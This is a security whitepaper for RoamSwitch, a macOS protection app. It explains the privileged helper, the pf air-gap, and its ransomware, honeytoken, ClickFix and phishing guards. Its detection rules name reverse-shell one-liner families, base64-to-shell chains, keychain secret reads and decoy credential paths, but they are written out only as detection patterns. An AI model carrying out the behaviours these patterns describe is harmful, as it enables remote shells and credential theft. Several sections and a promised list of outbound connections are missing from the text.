RoamSwitch Architecture & Security Whitepaper

§1

RoamSwitch is a menu-bar app for the Mac. Depending on how much you trust the network you are currently connected to, it automatically switches the macOS firewall, sharing services, AirDrop, and DNS. It also watches for ARP spoofing, ports open to the outside, USB storage, and ransomware-like encryption activity, and when it detects something dangerous it will go as far as cutting off traffic with the packet filter (pf) — an emergency air-gap.

In other words, RoamSwitch installs a root-privileged daemon and, if it wanted to, could stop all network traffic on the Mac. It is built by one person, and "please trust me" is not enough to justify that privilege. So instead, this document explains the design in a form you can verify.

Who this is for

• Engineers deciding whether to install it
• Security researchers and journalists who want to understand the internals before a review or an article
• Security staff at partner companies evaluating an internal rollout or OEM bundling

What this document does not cover

It does not go into detection-threshold tuning, false-positive statistics, or UI walkthroughs. What it explains is four things: privileges, process boundaries, data flow, and cryptography. The feature specifications themselves are in the bundled MCP resource roamswitch://docs/features and in the in-app help.

What is disclosed, and how far (disclosure policy)

This document is written on the assumption that an attacker already has the distributed binary. Every endpoint URL, identifier, file path, XPC protocol, and embedded public key that appears here can be pulled out of the shipping RoamSwitch.app in a few minutes with strings, codesign -d, or a traffic proxy. Writing them down here therefore gives an attacker nothing new. The only thing it advances is a reviewer's understanding.

On the other hand, server-side implementation that cannot be seen from the binary — rate-limit thresholds, keys, admin endpoints, the DB schema, the Firebase project layout — is not included. The OEM and partner integration design is also out of scope here and is covered in a separate internal document. "What you can learn by observing the client" is the disclosure line for this document.

§2

RoamSwitch.app is made up of three executables. Only one of them is privileged; the other two run with login-user rights. All three ship with Hardened Runtime enabled, Developer ID signed, and notarized.

Entitlements and signing

• All three targets have ENABLE_HARDENED_RUNTIME = true.
• App Sandbox is disabled (com.apple.security.app-sandbox = false). The helper's and MCPServer's entitlements are empty dictionaries.
• Distribution builds are Developer ID Application signed, Apple notarized, and stapled (§10).

§3

How it is registered

The helper is registered as a LaunchDaemon using SMAppService.daemon(plistName:). The plist embedded in the app (Contents/Library/LaunchDaemons/com.tetsuharu.RoamSwitch.Helper.plist) declares only Label, BundleProgram, a single MachServices entry, and AssociatedBundleIdentifiers. Because of how SMAppService works, registration is not even possible unless the app is in /Applications. On the first registration, the helper does not become active until the user approves it by hand in System Settings.

Whose connections it accepts (ClientValidator)

The helper inspects the connecting process in NSXPCListener's shouldAcceptNewConnection and hands out HelperProtocol only to those that pass. The inspection uses the audit_token rather than the PID, to avoid PID reuse and TOCTOU.

# Code-signing requirements the Release build demands of connecting clients
identifier "com.tetsuharu.RoamSwitch"
  and anchor apple generic
  and certificate leaf[subject.OU] = "GV76B6G4YU"

This requirement is checked with SecCodeCopyGuestWithAttributes and SecStaticCodeCheckValidity, and the connection is dropped if it does not pass. Only DEBUG builds drop the team-ID pin, for development convenience. What actually ships is always a Release build.

What the helper can do (the complete list)

The privileged operations defined in Shared/HelperProtocol.swift are all of them. There is no privileged API that is not listed here.

State inside the helper

• HelperTool.shared is a single instance shared across connections. It used to be a separate instance per connection, so an emergency containment that opened a new connection could hit a race that lost track of "which services to bring back."
• The sharing-service and DNS backups are only mutated on a serial queue (stateQueue).

Privilege separation inside the helper, and the exception for reading the SSH log

Right after it starts, the helper puts a kernel-enforced ceiling on itself (a runtime sandbox, which is separate from the App Sandbox entitlement above), and the child processes it starts inherit it. The ceiling stops replacing system programs, registering a LaunchDaemon or LaunchAgent, rewriting the sudoers, PAM or sshd configuration, writing straight into the local directory store, and running programs from places that users, external volumes or temporary folders can write to. It does not stop account changes made through Open Directory (dscl), and it does not restrict network traffic (that is not what the ceiling is for).

Under this ceiling /usr/bin/log does not run. On macOS 26, log refuses to run inside a sandbox (log: Cannot run while sandboxed) and also as nobody (Must be admin). So neither the logged-in user's app nor the root helper inside its sandbox can read sshd's log (the unified log). SSH brute-force detection has to read that log, so the privilege separation has one exception.

The exception is a small root process: before the helper enters its sandbox, it starts the same binary with --ssh-log-reader. That process accepts only a one-byte command (start or stop) and does nothing but start /usr/bin/log with fixed arguments (log stream --style ndjson --level info and a fixed filter that keeps only sshd lines). It passes no environment variables, and the caller has no way to choose arguments or a command. It does not read or interpret the log; the output goes into a pipe the helper handed over.

Log lines contain strings an attacker can write, such as the user name, so the root helper does not interpret them. It hands each line to a parse worker that runs as nobody inside a sandbox that forbids network access, file writes, and starting or forking processes, and the source address is taken from the end of the line (IP port N), which the user name cannot influence. On a Mac with Remote Login off, this process does not start log and reads nothing. The SSH operations that can be called through the helper's XPC are five: applying the settings, fetching the status, the records and the logins, and lifting a block. None of them takes a command.

§4

Four features touch pf: the emergency air-gap, the dev-server port guard, the VPN tunnel's WireGuard kill-switch (§5, 1.7.6+), and its Tailscale kill-switch (§5, 1.8.0+ — only the selected backend's). All of them always go through a single entry point, PFRulesetCoordinator, and never run pfctl -f themselves.

Why there is a single entry point

Previously the two features each loaded rules with pfctl -f independently, competing over pf's single main ruleset. If the port guard's narrow rule block ... port {…} was loaded after the air-gap's block drop all, you could end up in a state where the screen said "isolated" but the Mac was still reachable. This bug was found by actually attacking the machine from another host, and was fixed in 1.4.3 (the story is written up in docs/marketing/zenn/03_lan_side_attack_test.md).

How it works now

• Rebuilt in full every time. The entire required ruleset is rebuilt from the current state and applied in one shot. It is never applied as a diff.
• One serial queue. Every pf change runs on the same DispatchQueue, so whether it came from an XPC connection, the helper's startup, or the failsafe timer, changes are processed in order.
• The priority order is as follows (items higher up take precedence).
  1. Emergency air-gap → set skip on lo0 and block drop all (nothing else is considered)
  2. VPN kill-switch → block drop all plus pass quick for only: lo, the tunnel interface (utunN), the UDP handshake to the pinned endpoint IP(s), DHCP, and ICMP
  3. Dev-server guard → block drop in quick proto tcp ... port { … }
  4. None → reload /etc/pf.conf and return pf to its original state
• Read back after applying. pfctl -sr reads the rules back to confirm that block drop all, or each port's rule, is actually loaded. A case where pfctl -f was silently ignored is not treated as success.
• The temp file is written to a path containing a UUID and deleted once applied (v1.4.5 dropped the fixed path in favor of a hard-to-guess one). The state directory is /Library/Application Support/RoamSwitch.

§5

The kinds of block are each different

How the Air-Gap neither lingers nor can be waited out

• How it ends depends on what triggered it (1.9.52 onward). A tampered ransomware decoy, a confirmed XProtect detection and a manual isolation chosen from an ARP warning are "high confidence"; ClickFix, port anomalies and the like are "low confidence". A low-confidence isolation still releases by itself after 10 minutes at most. A high-confidence one does not release at 10 minutes: releasing fully on time alone would let an attacker simply wait it out.
• A high-confidence isolation stays fully closed up to a limit (1 hour by default, 5 minutes to 24 hours in settings) and checks the cause there. For ransomware it counts the cause as gone only when the suspect process was identified and has exited, and the decoys have not changed since the detection. If that cannot be confirmed it moves to "degraded mode": new connections stay blocked (except loopback and DHCP) while only the Wi-Fi radio is restored, so you can see what is going on. It never opens because time passed. It opens only when you release it or the cause is confirmed gone.
• When an isolation starts, connections that were already open are cut too. pf's state table is flushed (pfctl -F states), which stops traffic that began before the isolation. The same happens when it moves to degraded mode.
• An isolation caused by ARP spoofing is released automatically only when the cause is confirmed gone without any traffic. The check only reads the ARP cache (it sends no packets) and declares the cause gone when the trusted gateway MAC is seen on 3 consecutive checks spanning at least 60 seconds. While isolated, however, the gateway's ARP entry can disappear from the neighbour table (confirmed on a real Mac), and then the cause cannot be confirmed. In that case it stays in degraded mode until you release it.
• Even if the helper dies, the release check does not stop. A dedicated LaunchDaemon with no KeepAlive at all (AirGapFailsafe) starts on its own every 3 minutes and applies the same decision as the helper (low confidence: release at 10 minutes; high confidence: check the cause at the limit, then degrade). If the helper itself crashes and loses its own release timer, this safety net is unaffected (1.8.6 onward; the confidence-based decision from 1.9.52).
• This dedicated daemon never touches the interactive helper's own launch configuration. An earlier attempt (1.8.5) used the helper's own KeepAlive.PathState for this recovery, but it occasionally interfered with a normal app Quit and caused an unintended restart, so it was reverted in favor of the current, fully independent daemon.
• The timestamp check uses a hybrid of monotonic uptime (ProcessInfo.systemUptime) and wall-clock time. It normally prefers monotonic uptime, so NTP corrections and manual clock changes don't affect it. It falls back to the wall clock only when uptime can't be trusted — right after a reboot, detected when the current value is smaller than the stored one.
• It is re-applied after a restart or when the daemon is recreated. At launch the helper reads the on-disk state with reapplyFromDisk() and restores the Air-Gap, the port guard and the system default, in that order. It also carries over the isolation's state (its confidence, full or degraded) and the elapsed time, so timing continues from the first time it engaged (confirmed on a real Mac by restarting the helper).
• A failed lift is treated as a failure. If block drop all could not actually be removed, the timestamp is written back so that the failsafe timer and the retry have something to converge on. The screen never falsely shows "lifted."
• You can take control back at any time: with "Release Air-Gap isolation" in the menu bar, with the release button in the modal, or simply by turning Wi-Fi off. Releasing does not require Pro (it works even if Pro lapses in the middle of an isolation).

How a port-guard false positive is recovered

The unknown-port auto-block (Pro, on by default once Pro is activated) can stop a legitimate LAN receiver — LocalSend, Syncthing, anything started after the guard was enabled. When that happens, allow it from the "Allow" button on the notification banner or the matching row in the "Exposed ports" screen. An executable allowed once is recorded as known and is not blocked again (PortAnomalyGuard.allowPort(_:)). Note that generic script interpreters (Python, Node.js, Netcat, etc.) are strictly scoped by path:port rather than binary alone to prevent living-off-the-land attacks. Apple system daemons that satisfy anchor apple (rapportd, which backs Handoff, and the like) are not watched in the first place.

Self-healing ransomware canary bait & containment suppression

If canary decoy files are tampered with or renamed and trigger the emergency air-gap, releasing containment after verifying security automatically regenerates missing or corrupted canary files back to their authentic baseline hash generated from embedded templates, immediately restoring uninterrupted kqueue surveillance (preventing adversary baseline contamination). Furthermore, during active containment (while the emergency modal is displayed), redundant notification alerts and re-trigger events from periodic background integrity polling are automatically suppressed to avoid distracting the user during incident response.

General-purpose entropy-based ransomware detection — 1.10.0, Pro, on by default

Watches the Documents, Desktop, Downloads, and Pictures folders via FSEvents, and fires when writes with Shannon entropy above the threshold (7.92) arrive in a burst of 20 or more files within 5 seconds. Unlike the canary (decoy-file) approach, it does not depend on tampering with a bait file, so it also catches encryption in places with no canary file. Only once the threshold is reached does it use lsof to identify the process and check it against an allowlist (cp, mv, ditto, tar, ffmpeg, Xcode, Time Machine, major browsers, and the like). On detection it triggers the same automatic network block, via RansomwareContainmentManager, that the canary guard uses.

The Linux edition can track bursts per process because fanotify attaches a PID to each write event. macOS has neither fanotify nor (by design) EndpointSecurity, so this implementation reads only the path from FSEvents and counts the burst globally, independent of process. Limitation: several legitimate processes writing large numbers of high-entropy files at once (concurrent compression or encryption jobs, for example) may be more prone to a false positive here than on the Linux edition.

Pre-damage snapshots for ransomware recovery (Mac)

A snapshot taken at detection time already holds any file that was encrypted before the detection, so it is not a way back. RoamSwitch therefore takes APFS local snapshots on a schedule, independent of detection (every 6 hours by default; off, 1, 3, 6, 12 or 24 hours). When a detection fires, new pre-damage snapshots and pruning pause for up to 7 days (retention mode), so the encrypted state cannot push out the last pre-encryption generation. Recovery is always manual: only the files you pick are copied to ~/RoamSwitch-Recovered/. Current files are never overwritten and a whole-volume restore is not offered. Copying needs the snapshot mounted, so the privileged helper needs Full Disk Access (snapshots are still created without it). macOS can remove local snapshots on its own, for example when free space runs low, so nothing is guaranteed to survive beyond about 24 hours. The recovery window is a Pro feature (taking the snapshots themselves works without Pro).

Forensic evidence bundle — 1.10.0

When an emergency Air-Gap begins — triggered by the canary guard, the entropy-based ransomware guard, or similar — a background queue that does not block the containment itself saves a snapshot of the process list (ps), network connections (lsof -i), files modified in the last five minutes, and the files the suspect process has open, to ~/Library/Application Support/RoamSwitch/incident-evidence/<timestamp>/manifest.json. The manifest records each artifact's SHA-256 so later tampering can be detected. The bundle list is available from the get_forensic_evidence_bundles MCP tool. Limitation: built without an EndpointSecurity entitlement, it captures no packet trace and no process memory/file-descriptor snapshot.

Process execution recorder (Mac, Pro, off by default)

The privileged helper launches macOS's own /usr/bin/eslogger (exec, fork, exit) as a child process and records process launches on this Mac only. It does not request the EndpointSecurity entitlement (it never calls es_new_client), and RoamSwitch must be allowed in Full Disk Access (System Settings; if it is not listed, add /Applications/RoamSwitch.app with “+”). While permission is missing, it shows the status as "unavailable", waits and rechecks every 60 seconds (it does not switch to heavy polling). It only notifies. It never blocks execution, cuts communication or isolates.

It notifies on these ten behaviours: a browser, Office or mail app launching a shell directly; running an unsigned binary from a temporary folder or a quarantined location; a one-line command that downloads and pipes into a shell (when combined with a raw-IP URL, base64, eval or disabled TLS verification); osascript using base64 or eval; running a file right after its quarantine attribute was removed; launching an unsigned binary from a just-written auto-start registration (LaunchAgent or LaunchDaemon); a non-Apple-signed parent reading a keychain secret (such as security find-generic-password -w); a python3, perl, ruby, php or pwsh -c/-e/-Command one-liner where a base64/eval decode and a curl, wget, exec, or system call both appear on the same line (1.10.0 onward — using base64 or eval alone does not fire this); and launching a process with the DYLD_INSERT_LIBRARIES environment variable set (1.10.0 onward — to avoid leaking secrets, only this one environment variable's value is ever read; Apple-signed processes are excluded); and a command line that directly names a decoy credential file RoamSwitch planted (such as ~/.aws/credentials or ~/.env.backup, recognised by the marker inside) — for example cat, tar or curl -F; real files never match, and reads through a library are left to the honeytoken watcher. Each detection carries a MITRE ATT&CK technique ID.

Only high-severity detections become banners, and the same kind is grouped to once per 10 minutes (every event stays in the record). Developer tools such as Claude Code and the GitHub CLI reading their own credentials are not notified by default. If another program reads them, the "Allow this program" action in the notification allows just that item (by Team ID when it is signed, otherwise by executable name, paired with the item name).

The record is stored readable by root only (directory 0700, files 0600) and keeps 200 MB and 14 days by default. Environment variables are not stored, but command-line arguments may contain secrets. Each segment is sealed in a hash chain linked to the hash of the previous segment, and "Verify chain" detects edits, missing segments and removed seals (each confirmed on a real Mac). This detects tampering; it does not prevent it. Deleting or rolling back the newest segment cannot be detected. Reading goes through the helper's XPC, and MCP goes through the app (with a Pro re-check).

Limits: executions before the helper starts, or before recording is enabled, are not recorded. eslogger observes after the fact and cannot block. Under load such as thousands of process launches per second, events are dropped (the count is shown on screen and operation continues). This record is not a replacement for an EDR (endpoint detection and response).

Credential honeytokens — 1.10.0, Pro, on by default

Plants a decoy credential file, marked with a sentinel value, at each of three locations: ~/.aws/credentials, ~/.ssh/id_rsa_backup, and ~/.docker/config.json. It never overwrites a real file already present at that path. Access detection combines the same kqueue mechanism (DispatchSource.makeFileSystemObjectSource) the canary guard uses with a 30-second access-time poll, since without EndpointSecurity an open() event cannot be caught reliably. Detection only notifies; it never blocks anything or triggers isolation. The ssh decoy uses a name ssh does not look for by default (not id_rsa), so a normal ssh run is neither broken nor falsely flagged. The AWS decoy uses a separate profile name instead of [default], the Docker decoy points at a non-existent internal registry, and all are planted with mode 0600 (from 1.10.3). In addition to those three, ~/.pypirc and ~/.env.backup are planted (aimed at scans for PyPI tokens, .env files and AI API keys). ~/.npmrc is not used because npm reads it on every run, and GCP credentials are not used because a fake file would break genuine authentication. When a decoy is actually accessed, exactly one related decoy (~/.aws/config, ~/.ssh/config or ~/.kube/config) is planted and watched as well; the chain stops after one step, and no existing file is overwritten.

Browser credential-access watch — 1.10.0, opt-in even within Pro, off by default

Watches, via FSEvents, for writes to the saved password/cookie databases of Chrome, Brave, Edge, Vivaldi, Chromium, and Firefox. When a burst occurs, lsof identifies the process; anything other than the browser itself, an indexer such as Spotlight, or a backup daemon counts as a hit. Unlike the other new guards, enabling Pro does not turn this on automatically — a browser extension or a password manager's import feature can trigger it, so the false-positive risk is inherent enough that it ships opt-in.

Communication with the Sensor (TLS and signatures)

Pairing, audit requests and result retrieval with a RoamSwitch Sensor (a separate product) on the same LAN use TLS 1.3 pinned to the certificate fingerprint (SHA-256) (Sensor 0.3.9 and later). The fingerprint is not fetched over the network; the user types the value shown on the Sensor's screen. It does not validate the certificate authority, host name or expiry, and trusts only the pinned value. If TLS fails it does not fall back to plaintext (a fallback would let a man in the middle downgrade the connection). Request signatures include a timestamp and a nonce (v2) to prevent replay. Only an old-style pairing without a fingerprint still connects in plaintext as before, with a warning.

If the certificate changes, the connection is refused. Updating the pin is never automatic: it is saved only when the user types and confirms the new value and a signed probe actually succeeds over TLS. Limit: this probe does not use a key to check that the Sensor is the same one that was paired before. It relies on the user typing the value they confirmed on the Sensor's screen.

Multi-layer download detection (static signatures + ClamAV) — static signature layer added in 1.8.7

Files newly placed in the Downloads, Desktop, or Documents folders first pass through a lightweight static signature check by StaticSignatureScanner (the first 4MB only, simple AND/OR byte-pattern matching — no regular expressions or entropy calculations). It needs no EndpointSecurity entitlement and keeps working even where ClamAV isn't installed. Detection is deliberately scoped to what can be stated as fact without a real malware corpus: the industry-standard EICAR test signature, and five textbook reverse-shell one-liners documented in public offensive-security references (e.g. PayloadsAllTheThings) — bash/sh's /dev/tcp/, netcat's -e, Python's pty.spawn, Perl's Socket, and PHP's fsockopen. We don't write byte-level "signatures" for named malware families without a real sample to extract them from — that would just be a false sense of security. The patterns themselves are stored XOR 0x5A-obfuscated, so RoamSwitch's own binary never embeds a literal EICAR string or reverse-shell one-liner that ClamAV itself could flag it for.

Only files the static signature layer clears as "clean" go on to the ClamAV scan. Files newly placed in the Downloads, Desktop, or Documents folders are scanned by ClamAV immediately regardless of a .tmp extension or a com.apple.quarantine attribute (e.g. a copy made over Terminal). EICAR and other industry-standard test signatures are treated as harmless: no notification is shown, only an entry in notification history — and they are never quarantined or blocked (only genuine malware samples are quarantined). And if a file with the same name was already quarantined before, it's still moved to the Quarantine folder under a timestamped, unique name, so a threat can never linger at its original location due to a naming collision.

Web shell detection in development web folders (Web Rules)

Files of local web development (~/Sites, MAMP, Herd, Local, /Library/WebServer/Documents and the project folders registered for package-CVE scanning) are checked against the same 18 detection rules as the Linux edition: PHP, JavaScript, JSP and ASP. The rules describe publicly documented techniques only and contain no signature extracted from a real sample. There are three layers: built into the app, a signed once-a-day receive-only update (folded into the existing single fetch), and your own rules in ~/Library/Application Support/RoamSwitch/rules.d (only files owned by root or you that group and others cannot write are read). Folders the app already watches, such as Downloads, are checked right after a write; web development folders are checked once a day and on demand (the daily check does not enter node_modules or .git; a check of a folder you pick does enter node_modules). Because EndpointSecurity is not used, nothing can be stopped before it runs: all detection is after the fact.

Only critical findings are quarantined automatically by default. A high finding leaves the file alone and shows up as a notification and in a list in Settings, where you can choose “do not detect again” (the quarantine level can be changed in Settings). The post-detection hook (~/Library/Application Support/RoamSwitch/hooks/post-detection) runs only if it is owned by root or you and nobody else can write it, and is stopped after 30 seconds. The account response (off by default, turning it on needs the administrator password) revokes the login shell of the owner of a quarantined file, but never touches root, UIDs below 501, or anyone who is logged in (including you, using this Mac). Run as root under the helper's own sandbox in a macOS 26 virtual machine, the real dscl shell change and restore were verified (the sandbox blocks direct writes to dslocal but not changes made through dscl). The administrator-password confirmation and the app-to-helper call path have not been verified on a real machine yet. There were 0 findings in 114,501 files of a development folder.

Monitoring new login-item persistence (LaunchAgent/LaunchDaemon) — 1.8.7

New .plist files placed under ~/Library/LaunchAgents, /Library/LaunchAgents, or /Library/LaunchDaemons are detected in real time via FSEvents (PersistenceMonitorGuard). Without EndpointSecurity's ES_EVENT_TYPE_AUTH_CREATE, the write itself can't be blocked. What this can do is notice within seconds and judge the content.

The judgment turns on what's being launched directly, not the signature of the executable itself. Real-world 2026 techniques — a LaunchAgent disguised as Google Update hiding a base64-decoded bash script, or a root LaunchDaemon that re-executes a base64-decoded AppleScript payload on every boot — both hide the malicious code in the script itself while calling a validly-signed /bin/bash or /usr/bin/osascript plain. A check that only looks at the executable's own signature would let both straight through. So any newly-registered LaunchAgent/LaunchDaemon that invokes a raw script interpreter directly (bash, sh, zsh, osascript, python3, perl, ruby, php, and similar) is flagged unconditionally, regardless of that interpreter's own valid signature. The arguments passed to it are also run through StaticSignatureScanner, and any known-bad pattern found is included in the notification. Entries registered via BundleProgram (pointing at a signed, compiled binary inside an app bundle — including RoamSwitch's own helper) are simply verified the normal way, with codesign --verify --strict.

Detecting ClickFix and locking down in an emergency — 1.8.7, off by default

"ClickFix" is a social-engineering technique where a fake CAPTCHA or error screen instructs you to open Terminal and paste in a command "to verify." Detections surged more than 500% from 2024 to 2025, and by 2026 it's considered one of the most prevalent macOS attack vectors. Because it's your own, legitimate shell doing exactly what you typed, it slips past Gatekeeper's signature verification entirely.

Menu bar → Malware Protection → ClickFix Defense (Pro, off by default). Watches for new lines appended to ~/.zsh_history / ~/.bash_history via FSEvents (only lines added after the guard starts — it never looks back through existing history), and matches only the reverse-shell one-liners it shares with StaticSignatureScanner, plus the specific combination of decoding base64 straight into a shell or into osascript. A bare curl | bash — extremely common in legitimate installers — is deliberately excluded, since it's indistinguishable from the official install instructions for Homebrew, rustup, nvm, and similar. The instant a match is found, it triggers the same emergency air-gap described above. Since the command has already run, this is necessarily after the fact, but it may still interrupt an in-progress second-stage download or credential exfiltration. Like any other air-gap trigger, it lifts on its own after 10 minutes at most (see the start of this section).

A known limitation. Because detection depends on a write to shell history, it cannot catch the fileless variant that bypasses Terminal entirely by invoking Script Editor directly through the applescript:// URL scheme, writing nothing to disk. Apple has shipped some mitigation for this (a confirmation dialog for unidentified scripts), but variants that work around it have been reported. We tested this path against macOS's unified log (log show / log stream) on real hardware and found no distinctive log signal to key detection on. We'd rather state this limitation plainly than claim coverage we don't have.

Docker Risk Detection Guard — 1.8.9, Pro, off by default

Menu bar → "Malware Protection" → "Detect Privileged Docker Containers & docker.sock Mounts" (DockerEventGuard). Since this codebase has no precedent for a persistent streaming connection like docker events, it uses the same timer-polling approach as PortAnomalyGuard. Every 20 seconds it fetches the set of container IDs with a lightweight docker ps -q, then runs docker inspect --format only on the diff (newly-started containers) for detailed inspection. The format string used for detection is deliberately identical to the Linux edition's roamswitch_core::health::LinuxHealthChecker::DOCKER_INSPECT_RISK_FORMAT, so both platforms flag exactly the same conditions (--privileged startup, or a /var/run/docker.sock bind-mount).

No automatic action is taken on detection. A privileged container or a docker.sock mount is a risky "configuration" that could enable container escape, but it isn't confirmed compromise — there are legitimate uses too, such as deliberately running a monitoring agent as privileged. Since most users don't run Docker at all, this stays off by default even on a Pro license. It doesn't use the EndpointSecurity entitlement; the docker CLI is located by checking Docker Desktop's default install path, then Homebrew, then which, in that order. Verified against a real Docker Desktop install (29.7.2) across three scenarios — a privileged container, a docker.sock-mounted container, and a normal container — with no false positives or missed detections.

Secret/API-Key Leak Auditor — added in 1.8.4, folder scanning added in 1.8.9

Menu bar → "Malware Protection" → "Secret/API-Key Leak Audit". Paste text and it's instantly checked for leaked API keys and tokens, showing the line number, a masked string, and a recommended response per finding (SecretLeakAuditor, entirely on-device). 1.8.9 added a "Choose Folder to Scan" option, letting the same detection engine recursively audit a directory — such as a source checkout — via auditDirectory(at:). .git, node_modules, target, vendor, dist, build, __pycache__, and venv are automatically excluded, as are files over 2MB or detected as binary. Processing runs off the main thread so it doesn't block the UI, and nothing is ever sent externally.

Link Guard (blocking phishing connections) — 1.7.2 and later, hardened in 1.8.0

Menu bar → "Malware Protection" → "Link Guard" (Pro). Blocks connections to phishing/scam sites on-device, across every browser and app. There are two enforcement points, used together in priority order.

• ① Content-filter system extension (RoamSwitchLinkFilter, 1.8.0+, preferred once approved). A NEFilterDataProvider system extension — no Apple review (content-filter providers are self-serve, no approval queue). It inspects the actual outbound TCP flow after name resolution. The destination name comes from the OS-resolved hostname, or failing that the TLS SNI parsed from the flow's first bytes — so a browser doing its own DoH/DoT and connecting to a bare IP is still blocked. It never rewrites /etc/hosts and attributes each flow to a process. QUIC (UDP/443) has no readable SNI, so in block mode it is dropped, forcing the browser to fall back to HTTP/2 over TCP. Needs a one-time approval in System Settings.
• ② /etc/hosts sinkhole (fallback, while the extension is unapproved/declined). The privileged helper writes the target domains into a delimited managed section of /etc/hosts as 0.0.0.0 and flushes the cache. Capped at 60,000. Once the extension is active this section is removed.
• Three modes. "Off" disables it. "Warn only" pauses the matching connection and asks the user (see Real warn below). "Auto-block obvious scam sites (recommended)" drops immediately. The default is block as of 1.7.2.
• Real warn (1.8.0+, extension only). On a warn hit the system extension holds the flow (both the OS-named and the SNI path) with .pause() and the app raises an "Allow / Block" notification. The moment the user's tap reaches allowlist.txt / extra.txt — the extension polls the small state files every 1.5 s — the held flows resume (allow) or drop (block). No answer within 25 s fails open (a warn is advisory). The decision is cached per host (allow 5 min / block 1 h), so the page's other flows and later visits are instant and enforced. The block notification is unchanged: "Blocked …" with an "Allow once (5 min)" button.
• Only clear cases are blocked. A listing on the threat feed, or a brand-name Unicode homograph — everything else (high-risk TLDs, subdomain impersonation, …) is a warning. The verdict engine is shared with the Linux edition and sends URLs nowhere.
• Recovering from a wrong block. Allow a domain from the notification or the menu (5 minutes or permanent). The allow-list is subtracted when the section is regenerated.
• Pro-gated. Enforcement (applyMode()) only happens on a valid Pro license. Without Pro the mode is stored but /etc/hosts is never touched. Activating or lapsing a license takes effect mid-session.
• Feed and bundled seed. The block list comes from the signed threat feed (§7, verified with a feed-dedicated key). It works on the app's bundled seed (~60,000 entries) even before the first fetch, and turning off "Auto-update" means no outbound traffic.

Preventive gateway ARP/NDP lock — 1.7.5 and later

Menu bar → "Port & Device Monitor" → "Pin the gateway's ARP/NDP on untrusted networks (preventive)" (Pro, off by default).

• How it works. On joining an untrusted network, the current MAC of the IPv4 gateway, the IPv6 default router, and on-link DNS resolvers is collected from route / scutil --dns / arp -n / ndp -an, and the helper pins each as a permanent entry with arp -s / ndp -s (trust-on-first-use — the first MAC observed is trusted). Spoofed ARP/NDP replies for those IPs are then ignored, so a man-in-the-middle attack cannot be set up.
• Scope. Only those three kinds of entry are pinned. Trusted (open) networks are never pinned. On every network change it unlocks once and re-pins. Off-link public resolvers (8.8.8.8, …) have no on-link ARP entry and are automatically excluded.
• arp -s is preventive; the air-gap is after the fact. This pin exists so a spoof can't succeed; ARP-spoofing detection (ARPSpoofContainmentManager) and the emergency air-gap exist to "cut faster than a human" once one is seen. They run independently.
• Persistence. The pin set is saved to /Library/Application Support/RoamSwitch/gateway_arp_lock.json so it can be unlocked across an XPC reconnect or a helper restart.

The VPN tunnel (WireGuard / Tailscale) and its kill-switch — 1.7.6 and later, selectable backend in 1.8.0

Menu bar → "Port & Device Monitor" → "VPN Tunnel" (Pro, off by default). This is the primary anti-MITM defense — it does not depend on the integrity of L2 (ARP/NDP). The backend is selectable (submenu → "Backend") between "WireGuard (config file)" and "Tailscale (Exit Node)". RoamSwitch implements no cryptography itself; only the chosen backend is armed.

• (A) WireGuard backend. Drives Homebrew's wireguard-tools (no Apple Network Extension entitlement). Import your own .conf; the helper saves it at 0600. Kill-switch: pf block drop all plus a pass quick only for lo, the tunnel interface, the UDP handshake to the pinned endpoint IP(s), DHCP, and ICMP. A non-full-tunnel AllowedIPs raises a split-tunnel warning.
• (B) Tailscale backend (1.8.0+). For users who already run Tailscale. RoamSwitch does not run tailscale up / log in / install it — it reads tailscale status --json and runs tailscale set --exit-node=<node>. The Standalone build (direct download from tailscale.com) with CLI integration enabled (Settings → “CLI integration” → “Install Now”, which adds /usr/local/bin/tailscale) is recommended — the App Store (GUI) build can't be driven from outside the app (sandbox); with it you pick the exit node in the Tailscale app and RoamSwitch only shows status. An exit node is required (routes all traffic through the tunnel); it is disarmed automatically if it goes offline or unreachable.
• ⚠️ The Homebrew build (brew install tailscale) is not recommended. The tailscaled Homebrew ships has a known macOS bug that can fail to correctly rewrite the routing table (tailscale/tailscale#21395, #21216) — an exit node can show as “connected” while traffic still leaks, or clearing it can take down the Mac's own internet connection entirely. RoamSwitch verifies the actual OS routing table and warns when this happens, but using the Standalone build above avoids it in the first place.
• Network reconfiguration on disconnect. The standalone macOS tailscaled doesn't cleanly restore routing + DNS when an exit node is cleared, so RoamSwitch bounces the active network service(s) (the same as toggling Wi-Fi by hand; only services with an IPv4 address, safe for multi-NIC and static-IP). Traffic drops for ~5–10 s and the protection level is not demoted during that window.
• The Tailscale kill-switch is off by default (opt-in). The exit node already tunnels everything; the pf block drop all (permits only CGNAT/MagicDNS/STUN/DERP/DHCP/ICMP/DNS) is for advanced users and is "leak-resistant, not leak-proof" (DNS is allowed so tailscaled survives).
• Automatic / on license loss. Comes up on untrusted networks, down on trusted ones; lifted when the Pro license lapses.

§6

When you connect to a network you have not registered, the "protection level" switch does not use pf. It simply changes standard OS settings in a way that can be reversed later.

None of this is a new blocking mechanism that RoamSwitch adds — it is just toggling OS settings. If you delete the app, the only thing that stops is the network-dependent switching; the last OS settings that were applied stay as they are. Nothing is left locked, but if you want to err on the safe side, set it back to "Open" on a trusted network before uninstalling.

§7

What stays on the Mac

Traffic that leaves the machine (the complete list)

There is no code anywhere that collects and sends diagnostic results, port information, URLs, or logs. No analytics SDK and no crash-reporter SDK are included. The only external library is Sparkle (updates). What goes out to the network is the following eight, plus the user-initiated features, default-off features, and DNS threat protection described below the table, and that is all (the sixth only if the user configures a VPN, the seventh only if RoamSwitch Sensor pairing is enabled).

# Developer ID signature and Team ID
codesign -dvvv /Applications/RoamSwitch.app 2>&1 | grep -E 'Authority|TeamIdentifier|flags'

# Whether the notarization ticket is stapled
stapler validate /Applications/RoamSwitch.app
spctl -a -t exec -vvv /Applications/RoamSwitch.app

# Signature of the bundled helper / MCP server
codesign -dvvv /Applications/RoamSwitch.app/Contents/MacOS/RoamSwitchHelper
codesign -dvvv /Applications/RoamSwitch.app/Contents/MacOS/RoamSwitchMCPServer

codesign -d --entitlements :- /Applications/RoamSwitch.app/Contents/MacOS/RoamSwitchHelper
codesign -d --entitlements :- /Applications/RoamSwitch.app/Contents/MacOS/RoamSwitchMCPServer
# → An empty entitlements dictionary. No app-sandbox / network client keys.

# Run tcpdump alongside it to confirm that, in normal use, no traffic occurs outside the paths in the table
sudo tcpdump -i any -n 'host not 127.0.0.1' and 'not port 53'
# No traffic other than the paths in the table (license activation, update checks, signed update data, ClamAV updates, and so on)

For a stricter, automated check with per-process attribution, see rs-zerotel-audit.sh in roamswitch-support/audit/

# Batch-verifies the XPC authorization boundary, pf Air-Gap priority, port exposure detection, MCP read-only, and ARP monitoring, all automatically
